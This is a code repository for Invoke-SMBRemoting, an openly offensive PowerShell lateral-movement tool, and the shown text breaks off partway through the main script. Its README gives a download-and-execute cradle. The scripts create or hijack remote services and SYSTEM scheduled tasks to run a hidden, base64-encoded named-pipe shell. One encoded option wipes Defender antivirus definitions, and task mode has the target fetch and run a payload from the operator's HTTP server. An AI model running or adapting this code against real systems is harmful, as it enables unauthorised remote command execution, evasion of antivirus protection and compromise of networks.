├── README.md ├── backup └── Invoke-SMBRemoting.ps1 ├── Invoke-SMBRemoting.ps1 └── LICENSE /README.md: -------------------------------------------------------------------------------- 1 | # Invoke-SMBRemoting 2 | Interactive Shell and Command Execution over Named-Pipes (SMB) for Fileless lateral movement. 3 | 4 | Invoke-SMBRemoting enables remote command execution or interactive shell access over SMB named pipes through service creation/modification or scheduled tasks. 5 | 6 | The tool supports specifying commands or establishing a persistent shell connection, and requires administrative rights on the target. 7 | 8 | First, load the script in memory: 9 | 10 | ``` 11 | iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Leo4j/Invoke-SMBRemoting/main/Invoke-SMBRemoting.ps1') 12 | ``` 13 | 14 | ### Interactive Shell 15 | ``` 16 | Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" 17 | ``` 18 | ``` 19 | Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -PipeName Something -ServiceName RandomService 20 | ``` 21 | ``` 22 | Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -ModifyService -Verbose 23 | ``` 24 | ``` 25 | Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -ModifyService -ServiceName SensorService -Verbose 26 | ``` 27 | 28 | ### Command Execution 29 | ``` 30 | Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -Command "whoami /all" 31 | ``` 32 | ``` 33 | Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -Command "whoami /all" -PipeName Something -ServiceName RandomService 34 | ``` 35 | ``` 36 | Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -Command "whoami /all" -ModifyService 37 | ``` 38 | ``` 39 | Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -Command "whoami /all" -ModifyService -ServiceName SensorService -Verbose 40 | ``` 41 | 42 | ![image](https://github.com/Leo4j/Invoke-SMBRemoting/assets/61951374/645eaffe-e3d3-4428-b7a4-14bf95f5ddce) 43 | 44 | ## Scheduled Tasks 45 | 46 | Invoke-SMBRemoting can now leverage Scheduled Tasks to enable command execution or interactive shell access over Named Pipes (SMB) on a remote host. 47 | 48 | On the remote host, created tasks will run as SYSTEM by default, but you can run them in the current user context by using the -AsUser switch 49 | 50 | ``` 51 | Invoke-SMBRemoting -ComputerName MSSQL01.ferrari.local -AsTask 52 | ``` 53 | ``` 54 | Invoke-SMBRemoting -ComputerName MSSQL01.ferrari.local -AsTask -Command "whoami /all" 55 | ``` 56 | ``` 57 | Invoke-SMBRemoting -ComputerName MSSQL01.ferrari.local -AsTask -AsUser 58 | ``` 59 | ``` 60 | Invoke-SMBRemoting -ComputerName MSSQL01.ferrari.local -AsTask -AsUser -Command "whoami /all" 61 | ``` 62 | ![image](https://github.com/user-attachments/assets/be729cb3-3de2-47d4-af7b-f283930a2211) 63 | -------------------------------------------------------------------------------- /backup/Invoke-SMBRemoting.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-SMBRemoting { 2 | 3 | <# 4 | 5 | .SYNOPSIS 6 | Invoke-SMBRemoting Author: Rob LP (@L3o4j) 7 | https://github.com/Leo4j/Invoke-SMBRemoting 8 | 9 | .DESCRIPTION 10 | Interactive Shell and Command Execution over Named-Pipes (SMB) for Fileless lateral movement. 11 | 12 | .REQUIREMENTS 13 | Admin rights over the target Host 14 | 15 | .PARAMETER ComputerName 16 | The Server HostName or IP to connect to 17 | 18 | .PARAMETER PipeName 19 | Specify the Pipe Name 20 | 21 | .PARAMETER ServiceName 22 | Specify the Service Name 23 | 24 | .PARAMETER Command 25 | Specify a command to run instead of getting a Shell 26 | 27 | .PARAMETER Timeout 28 | Specify a Timeout after which the script will stop waiting for a connection 29 | 30 | .PARAMETER ModifyService 31 | Modify an existing service instead of creating a new one. If no target service is specified SensorService is targeted 32 | 33 | .PARAMETER Verbose 34 | Show Pipe and Service Name info 35 | 36 | .EXAMPLE 37 | Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" 38 | Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -PipeName Something -ServiceName RandomService 39 | Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -Command "whoami /all" 40 | Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -ModifyService -Verbose 41 | Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -ModifyService -ServiceName SensorService -Verbose 42 | Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -ModifyService -Command "whoami /all" 43 | 44 | #> 45 | 46 | param ( 47 | [string]$PipeName, 48 | [string]$ComputerName, 49 | [string]$ServiceName, 50 | [string]$Command, 51 | [string]$Timeout = "30000", 52 | [switch]$ModifyService, 53 | [switch]$Purge, 54 | [switch]$Verbose 55 | ) 56 | 57 | $ErrorActionPreference = "SilentlyContinue" 58 | $WarningPreference = "SilentlyContinue" 59 | Set-Variable MaximumHistoryCount 32767 60 | 61 | if (-not $ComputerName) { 62 | Write-Output " [-] Please specify a Target" 63 | return 64 | } 65 | 66 | if(!$PipeName){ 67 | $randomvalue = ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_}) 68 | $randomvalue = $randomvalue -join "" 69 | $PipeName = $randomvalue 70 | } 71 | 72 | if(!$ServiceName -AND !$ModifyService){ 73 | $randomvalue = ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_}) 74 | $randomvalue = $randomvalue -join "" 75 | $ServiceName = "Service_" + $randomvalue 76 | } 77 | 78 | elseif(!$ServiceName -AND $ModifyService){ 79 | $ServiceName = "SensorService" 80 | } 81 | 82 | $trigtgs = '\\' + $ComputerName + '\c$' 83 | $Error.clear() 84 | ls $trigtgs | Out-Null 85 | if($Error[0]){ 86 | if($Error -match "Access is denied"){ 87 | Write-Output "[-] Access is denied" 88 | Write-Output "" 89 | } else { 90 | Write-Output "[-] $Error" 91 | Write-Output "" 92 | } 93 | break 94 | } 95 | 96 | if($Purge){ 97 | 98 | if($Verbose){ 99 | Write-Output "[+] Service Name: $ServiceName" 100 | Write-Output "[+] Creating Service on Remote Target..." 101 | } 102 | 103 | $arguments = "\\$ComputerName create $ServiceName binpath= `"C:\Windows\System32\cmd.exe /c powershell.exe -enc JgAgACcAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABNAHAAQwBtAGQAUgB1AG4ALgBlAHgAZQAnACAALQBSAGUAbQBvAHYAZQBEAGUAZgBpAG4AaQB0AGkAbwBuAHMAIAAtAEEAbABsAA==`"" 104 | 105 | $startarguments = "\\$ComputerName start $ServiceName" 106 | 107 | Start-Process sc.exe -ArgumentList $arguments -WindowStyle Hidden 108 | 109 | Start-Sleep -Milliseconds 1000 110 | 111 | if($Verbose){ 112 | Write-Output "[+] Service created" 113 | } 114 | 115 | Start-Process sc.exe -ArgumentList $startarguments -WindowStyle Hidden 116 | 117 | Start-Sleep -Milliseconds 3000 118 | 119 | if($Verbose){ 120 | Write-Output "[+] Service started" 121 | } 122 | 123 | $stoparguments = "\\$ComputerName delete $ServiceName" 124 | 125 | Start-Process sc.exe -ArgumentList $stoparguments -WindowStyle Hidden 126 | 127 | if($Verbose){ 128 | Write-Output "[+] Service deleted" 129 | } 130 | 131 | Write-Output "[+] Done!" 132 | 133 | Write-Output "" 134 | 135 | break 136 | } 137 | 138 | $ServerScript = @" 139 | `$pipeServer = New-Object System.IO.Pipes.NamedPipeServerStream("$PipeName", 'InOut', 1, 'Byte', 'None', 4096, 4096, `$null) 140 | `$tcb={param(`$state);`$state.Close()}; 141 | `$tm = New-Object System.Threading.Timer(`$tcb, `$pipeServer, 600000, [System.Threading.Timeout]::Infinite); 142 | `$pipeServer.WaitForConnection() 143 | `$tm.Change([System.Threading.Timeout]::Infinite, [System.Threading.Timeout]::Infinite); 144 | `$tm.Dispose(); 145 | `$sr = New-Object System.IO.StreamReader(`$pipeServer) 146 | `$sw = New-Object System.IO.StreamWriter(`$pipeServer) 147 | while (`$true) { 148 | if (-not `$pipeServer.IsConnected) { 149 | break 150 | } 151 | `$command = `$sr.ReadLine() 152 | if (`$command -eq "exit") {break} 153 | else { 154 | try{ 155 | `$result = Invoke-Expression `$command | Out-String 156 | `$result -split "`n" | ForEach-Object {`$sw.WriteLine(`$_.TrimEnd())} 157 | } catch { 158 | `$errorMessage = `$_.Exception.Message 159 | `$sw.WriteLine(`$errorMessage) 160 | } 161 | `$sw.WriteLine("###END###") 162 | `$sw.Flush() 163 | } 164 | } 165 | `$pipeServer.Disconnect() 166 | `$pipeServer.Dispose() 167 | "@ 168 | 169 | $B64ServerScript = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($ServerScript)) 170 | 171 | if($ModifyService){ 172 | 173 | $originalBinPath = & sc.exe \\$ComputerName qc $ServiceName | Select-String "BINARY_PATH_NAME" | ForEach-Object {$_.ToString().Split(":", 2)[1].Trim()} 174 | 175 | $arguments = "\\$ComputerName config $ServiceName binpath= `"C:\Windows\System32\cmd.exe /c powershell.exe -enc $B64ServerScript`"" 176 | 177 | Start-Process sc.exe -ArgumentList $arguments -WindowStyle Hidden 178 | 179 | # Optional: Restart the service to apply the changes 180 | $stopArguments = "\\$ComputerName stop $ServiceName" 181 | $startArguments = "\\$ComputerName start $ServiceName" 182 | 183 | # Stop the service 184 | Start-Process sc.exe -ArgumentList $stopArguments -WindowStyle Hidden 185 | 186 | Start-Sleep -Milliseconds 1000 187 | 188 | Start-Process sc.exe -ArgumentList $startarguments -WindowStyle Hidden 189 | } 190 | 191 | else{ 192 | $arguments = "\\$ComputerName create $ServiceName binpath= `"C:\Windows\System32\cmd.exe /c powershell.exe -enc $B64ServerScript`"" 193 | 194 | $startarguments = "\\$ComputerName start $ServiceName" 195 | 196 | Start-Process sc.exe -ArgumentList $arguments -WindowStyle Hidden 197 | 198 | Start-Sleep -Milliseconds 1000 199 | 200 | Start-Process sc.exe -ArgumentList $startarguments -WindowStyle Hidden 201 | } 202 | 203 | if($Verbose){ 204 | if($ModifyService){ 205 | Write-Output "[+] Pipe Name: $PipeName" 206 | Write-Output "[+] Service Name: $ServiceName" 207 | Write-Output "[+] Original binPath: $originalBinPath" 208 | Write-Output "[+] Modifying Service on Remote Target..." 209 | Write-Output "" 210 | } 211 | else{ 212 | Write-Output "[+] Pipe Name: $PipeName" 213 | Write-Output "[+] Service Name: $ServiceName" 214 | Write-Output "[+] Creating Service on Remote Target..." 215 | Write-Output "" 216 | } 217 | } 218 | 219 | # Get the current process ID 220 | $currentPID = $PID 221 | 222 | if($ModifyService){ 223 | # Embedded monitoring script 224 | $monitoringScript = @" 225 | `$serviceToDelete = "$ServiceName" # Name of the service you want to delete 226 | `$TargetServer = "$ComputerName" 227 | `$primaryScriptProcessId = $currentPID 228 | `$BinPath = "$originalBinPath" 229 | 230 | while (`$true) { 231 | Start-Sleep -Seconds 5 # Check every 5 seconds 232 | 233 | # Check if the primary script is still running using its Process ID 234 | `$process = Get-Process | Where-Object { `$_.Id -eq `$primaryScriptProcessId } 235 | 236 | if (-not `$process) { 237 | # If the process is not running, stop the service 238 | `$stoparguments = "\\`$TargetServer stop `$serviceToDelete" 239 | Start-Process sc.exe -ArgumentList `$stoparguments -WindowStyle Hidden 240 | `$arguments = "\\`$TargetServer config `$serviceToDelete binpath= `$BinPath" 241 | Start-Process sc.exe -ArgumentList `$arguments -WindowStyle Hidden 242 | break # Exit the monitoring script 243 | } 244 | } 245 | "@} 246 | else{ 247 | # Embedded monitoring script 248 | $monitoringScript = @" 249 | `$serviceToDelete = "$ServiceName" # Name of the service you want to delete 250 | `$TargetServer = "$ComputerName" 251 | `$primaryScriptProcessId = $currentPID 252 | 253 | while (`$true) { 254 | Start-Sleep -Seconds 5 # Check every 5 seconds 255 | 256 | # Check if the primary script is still running using its Process ID 257 | `$process = Get-Process | Where-Object { `$_.Id -eq `$primaryScriptProcessId } 258 | 259 | if (-not `$process) { 260 | # If the process is not running, delete the service 261 | `$stoparguments = "\\`$TargetServer delete `$serviceToDelete" 262 | Start-Process sc.exe -ArgumentList `$stoparguments -WindowStyle Hidden 263 | break # Exit the monitoring script 264 | } 265 | } 266 | "@} 267 | 268 | $b64monitoringScript = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($monitoringScript)) 269 | 270 | # Execute the embedded monitoring script in a hidden window 271 | $MonitoringProcess = Start-Process powershell.exe -ArgumentList "-WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -enc $b64monitoringScript" -WindowStyle Hidden -PassThru 272 | 273 | $pipeClient = New-Object System.IO.Pipes.NamedPipeClientStream("$ComputerName", $PipeName, 'InOut') 274 | 275 | try { 276 | $pipeClient.Connect($Timeout) 277 | } catch [System.TimeoutException] { 278 | Write-Output "[$($ComputerName)]: Connection timed out" 279 | Write-Output "" 280 | return 281 | } catch { 282 | Write-Output "[$($ComputerName)]: An unexpected error occurred" 283 | Write-Output "" 284 | return 285 | } 286 | 287 | $sr = New-Object System.IO.StreamReader($pipeClient) 288 | $sw = New-Object System.IO.StreamWriter($pipeClient) 289 | 290 | $serverOutput = "" 291 | 292 | if ($Command) { 293 | $Command = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($Command)) 294 | $Command = "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(""$Command"")) | IEX" 295 | $fullCommand = "$Command 2>&1 | Out-String" 296 | $sw.WriteLine($fullCommand) 297 | $sw.Flush() 298 | while ($true) { 299 | $line = $sr.ReadLine() 300 | if ($line -eq "###END###") { 301 | Write-Output $serverOutput.Trim() 302 | Write-Output "" 303 | break 304 | } else { 305 | $serverOutput += "$line`n" 306 | } 307 | } 308 | } 309 | 310 | else { 311 | while ($true) { 312 | 313 | # Fetch the actual remote prompt 314 | $sw.WriteLine("prompt | Out-String") 315 | $sw.Flush() 316 | 317 | $remotePath = "" 318 | while ($true) { 319 | $line = $sr.ReadLine() 320 | 321 | if ($line -eq "###END###") { 322 | # Remove any extraneous whitespace, newlines etc. 323 | $remotePath = $remotePath.Trim() 324 | break 325 | } else { 326 | $remotePath += "$line`n" 327 | } 328 | } 329 | $ipPattern = '^\d{1,3}(\.\d{1,3}){3}$' 330 | if($ComputerName -match $ipPattern){$computerNameOnly = $ComputerName} 331 | else{$computerNameOnly = $ComputerName -split '\.' | Select-Object -First 1} 332 | $promptString = "[$computerNameOnly]: $remotePath " 333 | Write-Host -NoNewline $promptString 334 | $userCommand = Read-Host 335 | 336 | if ($userCommand -eq "exit") { 337 | Write-Output "" 338 | $sw.WriteLine("exit") 339 | $sw.Flush() 340 | break 341 | } 342 | 343 | elseif($userCommand -ne ""){ 344 | $fullCommand = "$userCommand 2>&1 | Out-String" 345 | $sw.WriteLine($fullCommand) 346 | $sw.Flush() 347 | } 348 | 349 | else{ 350 | continue 351 | } 352 | 353 | $serverOutput = "" 354 | while ($true) { 355 | $line = $sr.ReadLine() 356 | 357 | if ($line -eq "###END###") { 358 | Write-Output $serverOutput.Trim() 359 | Write-Output "" 360 | break 361 | } else { 362 | $serverOutput += "$line`n" 363 | } 364 | } 365 | } 366 | } 367 | 368 | if($ModifyService){ 369 | $stopArguments = "\\$ComputerName stop $ServiceName" 370 | Start-Process sc.exe -ArgumentList $stopArguments -WindowStyle Hidden 371 | $arguments = "\\$ComputerName config $ServiceName binpath= $originalBinPath" 372 | Start-Process sc.exe -ArgumentList $arguments -WindowStyle Hidden 373 | 374 | } 375 | else{ 376 | $stoparguments = "\\$ComputerName delete $ServiceName" 377 | Start-Process sc.exe -ArgumentList $stoparguments -WindowStyle Hidden 378 | } 379 | 380 | $pipeClient.Close() 381 | $pipeClient.Dispose() 382 | Stop-Process -Id $MonitoringProcess.Id 383 | } 384 | -------------------------------------------------------------------------------- /Invoke-SMBRemoting.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-SMBRemoting { 2 | 3 | <# 4 | 5 | .SYNOPSIS 6 | Invoke-SMBRemoting Author: Rob LP (@L3o4j) 7 | https://github.com/Leo4j/Invoke-SMBRemoting 8 | 9 | .DESCRIPTION 10 | Interactive Shell and Command Execution over Named-Pipes (SMB) for Fileless lateral movement. 11 | 12 | .REQUIREMENTS 13 | Admin rights over the target Host 14 | 15 | .PARAMETER ComputerName 16 | The Server HostName or IP to connect to 17 | 18 | .PARAMETER PipeName 19 | Specify the Pipe Name 20 | 21 | .PARAMETER ServiceName 22 | Specify the Service Name 23 | 24 | .PARAMETER Command 25 | Specify a command to run instead of getting a Shell 26 | 27 | .PARAMETER Timeout 28 | Specify a Timeout after which the script will stop waiting for a connection 29 | 30 | .PARAMETER ModifyService 31 | Modify an existing service instead of creating a new one. If no target service is specified SensorService is targeted 32 | 33 | .PARAMETER AsTask 34 | Will create and run a task on remote target instead of a service 35 | 36 | .PARAMETER AsUser 37 | Run the task as current user, not SYSTEM 38 | 39 | .PARAMETER IP 40 | IP to serve the Task script from 41 | 42 | .PARAMETER Port 43 | Port to serve the Task script from 44 | 45 | .PARAMETER Purge 46 | Purge AV definitions on target host 47 | 48 | .PARAMETER Verbose 49 | Show Pipe and Service Name info 50 | 51 | .EXAMPLE 52 | Invoke-SMBRemoting -ComputerName MSSQL01.ferrari.local 53 | Invoke-SMBRemoting -ComputerName MSSQL01.ferrari.local -AsTask 54 | Invoke-SMBRemoting -ComputerName MSSQL01.ferrari.local -AsTask -AsUser 55 | Invoke-SMBRemoting -ComputerName MSSQL01.ferrari.local -PipeName Something -ServiceName RandomService 56 | Invoke-SMBRemoting -ComputerName MSSQL01.ferrari.local -Command "whoami /all" 57 | Invoke-SMBRemoting -ComputerName MSSQL01.ferrari.local -ModifyService -Verbose 58 | Invoke-SMBRemoting -ComputerName MSSQL01.ferrari.local -ModifyService -ServiceName SensorService -Verbose 59 | Invoke-SMBRemoting -ComputerName MSSQL01.ferrari.local -ModifyService -Command "whoami /all" 60 | 61 | #> 62 | 63 | param ( 64 | [string]$PipeName, 65 | [string]$ComputerName, 66 | [string]$ServiceName, 67 | [string]$Command, 68 | [string]$Timeout = "30000", 69 | [string]$IP, 70 | [int]$Port = 8080, 71 | [switch]$ModifyService, 72 | [switch]$Purge, 73 | [switch]$AsTask, 74 | [switch]$AsUser, 75 | [switch]$Verbose 76 | ) 77 | 78 | $ErrorActionPreference = "SilentlyContinue" 79 | $WarningPreference = "SilentlyContinue" 80 | Set-Variable MaximumHistoryCount 32767 81 | 82 | if (-not $ComputerName) { 83 | Write-Output "[-] Please specify a Target" 84 | Write-Output "" 85 | return 86 | } 87 | 88 | if(!$PipeName){ 89 | $randomvalue = ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_}) 90 | $randomvalue = $randomvalue -join "" 91 | $PipeName = $randomvalue 92 | } 93 | 94 | if(($ServiceName -AND $AsTask) -OR ($ModifyService -AND $AsTask)){ 95 | Write-Output "[-] Running as Task or Service ? Please review your command" 96 | Write-Output "" 97 | return 98 | } 99 | 100 | if($AsUser -AND !$AsTask){ 101 | Write-Output "[-] Running -AsUser requires -AsTask. Please review your command" 102 | Write-Output "" 103 | return 104 | } 105 | 106 | if(!$ServiceName -AND !$ModifyService -AND !$AsTask){ 107 | $randomvalue = ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_}) 108 | $randomvalue = $randomvalue -join "" 109 | $ServiceName = "Service_" + $randomvalue 110 | } 111 | 112 | elseif(!$ServiceName -AND $ModifyService -AND !$AsTask){ 113 | $ServiceName = "SensorService" 114 | } 115 | 116 | elseif($AsTask){ 117 | $randomvalue = ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_}) 118 | $randomvalue = $randomvalue -join "" 119 | $TaskName = "Task_" + $randomvalue 120 | } 121 | 122 | $trigtgs = '\\' + $ComputerName + '\c$' 123 | $Error.clear() 124 | ls $trigtgs | Out-Null 125 | if($Error[0]){ 126 | if($Error -match "Access is denied"){ 127 | Write-Output "[-] Access is denied" 128 | Write-Output "" 129 | } else { 130 | Write-Output "[-] $Error" 131 | Write-Output "" 132 | } 133 | break 134 | } 135 | 136 | if($Purge){ 137 | 138 | if($AsTask){ 139 | if($Verbose){ 140 | Write-Output "[+] Task Name: $TaskName" 141 | Write-Output "[+] Creating Task on Remote Target..." 142 | } 143 | 144 | schtasks /create /S $ComputerName /SC Weekly /RU "NT Authority\SYSTEM" /TN $TaskName /TR "powershell.exe -enc JgAgACcAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABNAHAAQwBtAGQAUgB1AG4ALgBlAHgAZQAnACAALQBSAGUAbQBvAHYAZQBEAGUAZgBpAG4AaQB0AGkAbwBuAHMAIAAtAEEAbABsAA==" | Out-Null 145 | 146 | if($Verbose){ 147 | Write-Output "[+] Task created on Remote Target" 148 | } 149 | 150 | Start-Sleep -Milliseconds 1000 151 | 152 | schtasks /Run /S $ComputerName /TN $TaskName | Out-Null 153 | 154 | if($Verbose){ 155 | Write-Output "[+] Task started on Remote Target" 156 | } 157 | 158 | Start-Sleep -Milliseconds 3000 159 | 160 | schtasks /delete /S $ComputerName /TN $TaskName /f | Out-Null 161 | 162 | if($Verbose){ 163 | Write-Output "[+] Task deleted on Remote Target" 164 | } 165 | 166 | Write-Output "[+] Done" 167 | 168 | Write-Output "" 169 | 170 | break 171 | } 172 | 173 | else{ 174 | 175 | if($Verbose){ 176 | Write-Output "[+] Service Name: $ServiceName" 177 | Write-Output "[+] Creating Service on Remote Target..." 178 | } 179 | 180 | $arguments = "\\$ComputerName create $ServiceName binpath= `"C:\Windows\System32\cmd.exe /c powershell.exe -enc JgAgACcAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABNAHAAQwBtAGQAUgB1AG4ALgBlAHgAZQAnACAALQBSAGUAbQBvAHYAZQBEAGUAZgBpAG4AaQB0AGkAbwBuAHMAIAAtAEEAbABsAA==`"" 181 | 182 | $startarguments = "\\$ComputerName start $ServiceName" 183 | 184 | Start-Process sc.exe -ArgumentList $arguments -WindowStyle Hidden 185 | 186 | if($Verbose){ 187 | Write-Output "[+] Service created" 188 | } 189 | 190 | Start-Sleep -Milliseconds 1000 191 | 192 | Start-Process sc.exe -ArgumentList $startarguments -WindowStyle Hidden 193 | 194 | if($Verbose){ 195 | Write-Output "[+] Service started" 196 | } 197 | 198 | Start-Sleep -Milliseconds 3000 199 | 200 | $stoparguments = "\\$ComputerName delete $ServiceName" 201 | 202 | Start-Process sc.exe -ArgumentList $stoparguments -WindowStyle Hidden 203 | 204 | if($Verbose){ 205 | Write-Output "[+] Service deleted" 206 | } 207 | 208 | Write-Output "[+] Done" 209 | 210 | Write-Output "" 211 | 212 | break 213 | } 214 | } 215 | 216 | $ServerScript = @" 217 | `$pipeServer = New-Object System.IO.Pipes.NamedPipeServerStream("$PipeName", 'InOut', 1, 'Byte', 'None', 4096, 4096, `$null) 218 | `$tcb={param(`$state);`$state.Close()}; 219 | `$tm = New-Object System.Threading.Timer(`$tcb, `$pipeServer, 600000, [System.Threading.Timeout]::Infinite); 220 | `$pipeServer.WaitForConnection() 221 | `$tm.Change([System.Threading.Timeout]::Infinite, [System.Threading.Timeout]::Infinite); 222 | `$tm.Dispose(); 223 | `$sr = New-Object System.IO.StreamReader(`$pipeServer) 224 | `$sw = New-Object System.IO.StreamWriter(`$pipeServer) 225 | while (`$true) { 226 | if (-not `$pipeServer.IsConnected) { 227 | break 228 | } 229 | `$command = `$sr.ReadLine() 230 | if (`$command -eq "exit") {break} 231 | else { 232 | try{ 233 | `$result = Invoke-Expression `$command | Out-String 234 | `$result -split "`n" | ForEach-Object {`$sw.WriteLine(`$_.TrimEnd())} 235 | } catch { 236 | `$errorMessage = `$_.Exception.Message 237 | `$sw.WriteLine(`$errorMessage) 238 | } 239 | `$sw.WriteLine("###END###") 240 | `$sw.Flush() 241 | } 242 | } 243 | `$pipeServer.Disconnect() 244 | `$pipeServer.Dispose() 245 | "@ 246 | 247 | $B64ServerScript = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($ServerScript)) 248 | 249 | if($AsTask){ 250 | $ipaddress = (Resolve-DnsName -Name $ComputerName -Type A).IPAddress 251 | 252 | if(!$IP){ 253 | $PossibleIPAddresses = Get-NetIPAddress -AddressFamily IPv4 | 254 | Where-Object { $_.InterfaceAlias -notlike 'Loopback*' -and 255 | ($_.IPAddress.StartsWith("10.") -or 256 | $_.IPAddress -match "^172\.(1[6-9]|2[0-9]|3[0-1])\." -or 257 | $_.IPAddress.StartsWith("192.168.")) } | 258 | Select-Object -Property IPAddress -ExpandProperty IPAddress 259 | 260 | if($PossibleIPAddresses.count -gt 1){ 261 | # split the target’s IP into octets 262 | $targetOctets = $ipaddress.Split('.') 263 | $bestIP = $null 264 | $bestMatch = -1 265 | 266 | foreach ($candidate in $PossibleIPAddresses) { 267 | $candOctets = $candidate.Split('.') 268 | $matchCount = 0 269 | 270 | for ($i = 0; $i -lt 4; $i++) { 271 | if ($candOctets[$i] -eq $targetOctets[$i]) { 272 | $matchCount++ 273 | } 274 | else { 275 | break 276 | } 277 | } 278 | 279 | if ($matchCount -gt $bestMatch) { 280 | $bestMatch = $matchCount 281 | $bestIP = $candidate 282 | } 283 | } 284 | 285 | # bestIP is the one sharing the most left-hand octets with the target 286 | $IP = $bestIP 287 | } 288 | 289 | elseif($PossibleIPAddresses.count -eq 0){ 290 | $UserDefinedIP = Read-Host "[-] We could not determine your IP address, please specify it" 291 | if($UserDefinedIP){$IP = $UserDefinedIP} 292 | else{ 293 | Write-Output "[-] IP address not defined. Run without the -AsTask flag. Quitting..." 294 | Write-Output "" 295 | break 296 | } 297 | } 298 | 299 | else{$IP = $PossibleIPAddresses} 300 | } 301 | 302 | $FileServerScript = @" 303 | Add-Type -TypeDefinition @' 304 | using System; 305 | using System.IO; 306 | using System.Net; 307 | using System.Net.Sockets; 308 | using System.Text; 309 | using System.Threading.Tasks; 310 | 311 | public class SimpleFileServer 312 | { 313 | public TcpListener Listener { get; private set; } 314 | 315 | public SimpleFileServer(IPAddress address, int port) 316 | { 317 | Listener = new TcpListener(address, port); 318 | } 319 | 320 | public async Task StartAsync() 321 | { 322 | Listener.Start(); 323 | Console.WriteLine("Listening on " + Listener.LocalEndpoint); 324 | 325 | while (true) 326 | { 327 | var client = await Listener.AcceptTcpClientAsync(); 328 | // queue on the CLR thread‐pool and block that thread on the async handler 329 | System.Threading.ThreadPool.QueueUserWorkItem(state => 330 | { 331 | var c = (TcpClient)state; 332 | HandleClientAsync(c).GetAwaiter().GetResult(); 333 | }, client); 334 | } 335 | } 336 | 337 | private async Task HandleClientAsync(TcpClient client) 338 | { 339 | var endpoint = client.Client.RemoteEndPoint.ToString(); 340 | Console.WriteLine("Client connected: " + endpoint); 341 | 342 | using (client) 343 | using (var stream = client.GetStream()) 344 | using (var reader = new StreamReader(stream)) 345 | using (var writer = new StreamWriter(stream)) 346 | { 347 | string requestLine = await reader.ReadLineAsync(); 348 | Console.WriteLine(requestLine); 349 | if (requestLine == null) 350 | return; 351 | 352 | var parts = requestLine.Split(' '); 353 | if (parts.Length >= 2 354 | && parts[0] == "GET" 355 | && parts[1].Equals("/taskscript.ps1", StringComparison.OrdinalIgnoreCase)) 356 | { 357 | var contentString = "$B64ServerScript"; 358 | var contentBytes = Encoding.UTF8.GetBytes(contentString); 359 | 360 | writer.WriteLine("HTTP/1.1 200 OK"); 361 | writer.WriteLine("Content-Type: text/plain"); 362 | writer.WriteLine("Content-Length: " + contentBytes.Length); 363 | writer.WriteLine("Connection: close"); 364 | writer.WriteLine(""); 365 | await writer.FlushAsync(); 366 | 367 | await stream.WriteAsync(contentBytes, 0, contentBytes.Length); 368 | } 369 | else 370 | { 371 | writer.WriteLine("HTTP/1.1 404 Not Found"); 372 | writer.WriteLine("Connection: close"); 373 | writer.WriteLine(""); 374 | await writer.FlushAsync(); 375 | } 376 | } 377 | } 378 | } 379 | '@ -Language CSharp 380 | 381 | `$server = New-Object SimpleFileServer ([System.Net.IPAddress]::Any, $Port) 382 | `$server.StartAsync().Wait() 383 | "@ 384 | 385 | $b64FileServerScript = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($FileServerScript)) 386 | 387 | $FileServerProcess = Start-Process powershell.exe -ArgumentList "-WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -enc $b64FileServerScript" -WindowStyle Hidden -PassThru 388 | 389 | if($Verbose){ 390 | Write-Output "[+] Serving address: $($IP):$($Port)" 391 | Write-Output "[+] Server script PID: $($FileServerProcess.Id)" 392 | Write-Output "[+] Pipe Name: $PipeName" 393 | Write-Output "[+] Task Name: $TaskName" 394 | Write-Output "[+] Creating Task on Remote Target" 395 | } 396 | 397 | $taskcommand = "`$b64scrpt=irm http://$($IP):$($Port)/taskscript.ps1;`$dec=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(`$b64scrpt));iex `$dec" 398 | 399 | if($AsUser){ 400 | schtasks /create /S $ComputerName /SC Weekly /TN $TaskName /TR "powershell.exe -WindowStyle Hidden -c '$taskcommand'" | Out-Null 401 | } 402 | 403 | else{ 404 | schtasks /create /S $ComputerName /SC Weekly /RU "NT Authority\SYSTEM" /TN $TaskName /TR "powershell.exe -c '$taskcommand'" | Out-Null 405 | } 406 | 407 | if($Verbose){ 408 | Write-Output "[+] Task created on Remote Target" 409 | } 410 | 411 | schtasks /Run /S $ComputerName /TN $TaskName | Out-Null 412 | 413 | if($Verbose){ 414 | Write-Output "[+] Task started on Remote Target" 415 | } 416 